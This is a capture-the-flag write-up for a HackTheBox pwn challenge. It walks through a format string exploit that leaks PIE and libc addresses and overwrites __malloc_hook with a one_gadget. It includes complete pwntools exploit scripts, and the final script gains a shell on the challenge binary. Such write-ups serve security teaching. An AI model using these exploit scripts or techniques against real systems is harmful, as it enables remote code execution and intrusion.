Format
Format
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Can you hear the echo?
Solution Approach
Core idea: Exploiting Format String Bug (FSB). Utilize FSB to overwrite __malloc_hook with one-gadget.
Steps
- In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.
console read-only • copy allowed┌──(D3v0o0Nu11㉿htb)-[~/Downloads/format_htb] └─$ file format format: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5d38e04d29b4aae722164869f3151cea776ce91c, for GNU/Linux 3.2.0, not stripped
BINARY PROTECTIONS
console read-only • copy allowed┌──(D3v0o0Nu11㉿htb)-[~/Downloads/format_htb] └─$ pwn checksec format [*] '/home/D3v0o0Nu11/Downloads/format_htb/format' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
-
After decompiled the binary, it seems we can leak - calculate the piebase and libc base using the format strings vuln.
-
But there is no BOF, hence we can't do ret2libc here. Also, we can't overwrite the Global Offset Table because RELRO is full.
-
So how to get RCE? We still can utilize
__malloc_hook.
MALLOC HOOK
- __malloc_hook is a hook function which is called whenever malloc is called.
- We can use one_gadget and we can trigger them by sending big buffer.
- printf() will use malloc to allocate memory after we sent big buffer.
- Let's grab the piebase and potential libc.
Many potential pie we can use to calculate the base.
NOTES: In this writeup i won't explain again how to calculate the libc base and piebase again, i've explained this many times, go check my other writeups for explaination.
- After calculating the piebase and libc base, before overwriting __malloc_hook with one_gadget, we need to identify the libc used at the remote server so we won't work twice.
- Well, what I did to identify the remote server is kind of lucky, I guess; maybe there are many ways that are more straightforward.
FLOW
- Do breakrva at the printf() and run the script using GDB args.
SCRIPT Pt.1
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) ### 0x11f1 gdbscript = ''' init-pwndbg breakrva 0x11f1 continue '''.format(**locals()) exe = './format' elf = context.binary = ELF(exe, checksec=True) ### context.log_level = 'DEBUG' ### context.log_level = 'ERROR' context.log_level = 'INFO' library = '/lib/x86_64-linux-gnu/libc.so.6' libc = context.binary = ELF(library, checksec=False) ### # LEAKING POTENTIAL LIBC BASE sh = start() for i in range(200): sh.sendline('%{}$p'.format(i)) get = sh.recvline().strip() print(str(i), ':', get)
We got IO_2_1_stdin
-
But when i used the leaked IO_2_1_stdin at the remote server and check it on blukat, it did not found any libc relevant to this.
-
Anyway, at the end i got result after sending the IO_2_1_stderr.
-
But, we need to know the actual libc used, to minimize the probability i used the leaked _IO_file_jumps.
AT REMOTE
RESULT at libc blukat
-
It's better than before, but we need to find the correct one. Notice, we can ignore the first seven (because they are for 32 bit).
-
Our interest are these:
-
So this is where my way gets unintended, I didn't leak the printf@got or fgets@got to get more accurate libc result, I immediately tried the
libc6_2.27-3ubuntu1_amd64. So what comes to my mind, if thelibc6_2.27-3ubuntu1_amd64does not work, i will use thelibc6_2.27-3ubuntu1.2_amd64and so on.
FYI --> snippet for get fmtstr offset.
py read-only • copy allowedsh = process(exe) def exploit(payload): sh.sendline(payload) return sh.recvline().strip() format_strings = FmtStr(execute_fmt=exploit) log.success('OFFSET --> %d', format_strings.offset)
-
Download the libc and do pwninit.
-
Great, let's grab one_gadget and __malloc_hook.
ONE_GADGET --> try the 2nd one (0x4f322).
- Our script so far.
SCRIPT (95%).
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) ### 0x11f1 gdbscript = ''' init-pwndbg breakrva 0x11f1 continue '''.format(**locals()) exe = './format_patched' elf = context.binary = ELF(exe, checksec=True) ### context.log_level = 'DEBUG' ### context.log_level = 'ERROR' context.log_level = 'INFO' ### library = '/lib/x86_64-linux-gnu/libc.so.6' library = './libc6_2.27-3ubuntu1_amd64.so' # remote libc libc = context.binary = ELF(library, checksec=False) ### # LEAKING POTENTIAL LIBC BASE ### sh = start() ### for i in range(200): ### sh.sendline('%{}$p'.format(i)) ### get = sh.recvline().strip() ### print(str(i), ':', get) ### GET FORMAT STRINGS OFFSET sh = process(exe) def exploit(payload): sh.sendline(payload) return sh.recvline().strip() format_strings = FmtStr(execute_fmt=exploit) log.success('OFFSET --> %d', format_strings.offset) sh = start() #pause() ### # sh.sendline('%37$p.%1$p') ### sh.sendline('%37$p.%28$p') # 28 _IO_file_jumps sh.sendline('%37$p.%2$p') get = sh.recvline().strip() leaked_pie = int(get[:14], 16) log.success('LEAKED PIE --> %#0x', leaked_pie) elf.address = leaked_pie - 0x126d # 4717 log.success('PIE BASE --> %#0x', elf.address) leaked_libc = int(get[15:], 16) log.success('LEAKED LIBC --> %#0x', leaked_libc) libc.address = leaked_libc - 0x3ed8d0 # 4118736 log.success('LIBC BASE --> %#0x', libc.address) malloc_hook = libc.address + 0x98700 log.success('MALLOC HOOK --> %#0x', malloc_hook) one_gadget = libc.address + 0x4f322 malloc = libc.address + 0x3ebc30 sh.interactive()
- For the final script, we just need to overwrite __malloc_hook to one_gadget using fmtstr_payload, then send big buffer.
FINAL SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) ### 0x11f1 gdbscript = ''' init-pwndbg breakrva 0x11f1 continue '''.format(**locals()) exe = './format_patched' elf = context.binary = ELF(exe, checksec=True) ### context.log_level = 'DEBUG' ### context.log_level = 'ERROR' context.log_level = 'INFO' ### library = '/lib/x86_64-linux-gnu/libc.so.6' library = './libc6_2.27-3ubuntu1_amd64.so' # remote libc libc = context.binary = ELF(library, checksec=False) ### # LEAKING POTENTIAL LIBC BASE ### sh = start() ### for i in range(200): ### sh.sendline('%{}$p'.format(i)) ### get = sh.recvline().strip() ### print(str(i), ':', get) ### GET FORMAT STRINGS OFFSET sh = process(exe) def exploit(payload): sh.sendline(payload) return sh.recvline().strip() format_strings = FmtStr(execute_fmt=exploit) log.success('OFFSET --> %d', format_strings.offset) sh = start() #pause() ### # sh.sendline('%37$p.%1$p') ### sh.sendline('%37$p.%28$p') # 28 _IO_file_jumps sh.sendline('%37$p.%2$p') get = sh.recvline().strip() leaked_pie = int(get[:14], 16) log.success('LEAKED PIE --> %#0x', leaked_pie) elf.address = leaked_pie - 0x126d # 4717 log.success('PIE BASE --> %#0x', elf.address) leaked_libc = int(get[15:], 16) log.success('LEAKED LIBC --> %#0x', leaked_libc) libc.address = leaked_libc - 0x3ed8d0 # 4118736 log.success('LIBC BASE --> %#0x', libc.address) malloc_hook = libc.address + 0x98700 log.success('MALLOC HOOK --> %#0x', malloc_hook) one_gadget = libc.address + 0x4f322 malloc = libc.address + 0x3ebc30 payload = fmtstr_payload(format_strings.offset, {malloc:one_gadget}) sh.sendline(payload) sh.sendline(b'%100000s') # GOT RCE AT 100000s. | or you can just send %1000000c --> Since we're sending big buffer, it shall trigger malloc usage. ### Forcing libc to allocate space on the heap. sh.interactive()
TEST LOCAL
TEST REMOTELY
Flag
REDACTED
Lessons Learned
- Exploiting Format String Bug (FSB).
- Utilize FSB to overwrite
__malloc_hookwith one-gadget.